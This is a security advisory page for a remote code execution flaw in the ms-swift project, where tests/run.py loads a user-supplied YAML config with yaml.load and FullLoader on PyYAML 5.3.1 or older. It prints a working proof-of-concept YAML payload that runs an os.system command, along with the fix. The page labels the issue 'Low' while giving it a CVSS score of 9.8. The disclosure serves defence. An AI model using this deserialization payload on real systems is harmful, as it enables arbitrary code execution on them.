Low

MS SWIFT Remote Code Execution via unsafe PyYAML deserialization

  • Disclosed: 31.07.2025
  • Updated: 11.10.2026 13:19

Description

A Remote Code Execution (RCE) vulnerability exists in the modelscope/ms-swift project due to unsafe use of yaml.load() in combination with vulnerable versions of the PyYAML library (≤ 5.3.1). The issue resides in the tests/run.py script, where a user-supplied YAML configuration file is deserialized using yaml.load() with yaml.FullLoader.

If an attacker can control or replace the YAML configuration file provided to the --run_config argument, they may inject a malicious payload that results in arbitrary code execution.

Affected Repository

Vulnerable Code

python
if args.run_config is not None and Path(args.run_config).exists():
    with open(args.run_config, encoding='utf-8') as f:
        run_config = yaml.load(f, Loader=yaml.FullLoader)

Proof of Concept (PoC)

Step 1: Create malicious YAML file (exploit.yaml)

yaml
!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "__import__('os').system('mkdir HACKED')"

Step 2: Execute with vulnerable PyYAML (<= 5.3.1)

python
import yaml

with open("exploit.yaml", "r") as f:
    cfg = yaml.load(f, Loader=yaml.FullLoader)

This results in execution of os.system, proving code execution.

Mitigation

  • Replace yaml.load() with yaml.safe_load()
  • Upgrade PyYAML to version 5.4 or later

Example Fix:

python
# Before
yaml.load(f, Loader=yaml.FullLoader)

# After
yaml.safe_load(f)

Author

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) ms-swift <= 3.6.3 no fix

References

CVSS score 9.8/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness (CWE)
CWE-502
Platform
Python (PyPI)
Package
ms-swift
Disclosed
31.07.2025
Updated
11.10.2026 13:19

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2026-1683 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-fm6c-f59h-7mmg - CC BY 4.0

Vulnerability history: ms-swift

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries
4
First → latest
07.2025 06.2026
Without a fix
3
Exploited in attacks
0

Severity breakdown

  • Medium 2
  • Low 2

Disclosures per year

  1. 2025: 3
  2. 2026: 1
  1. Medium ghsa-r54c-2xmf-2cf3 <= 3.6.3 no fix
  2. Medium CVE-2025-41419 < 3.7.0 3.7.0
  3. MS SWIFT Remote Code Execution via unsafe PyYAML deserialization this entry
    Low · 9.8 CVE-2025-50460 <= 3.6.3 no fix

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.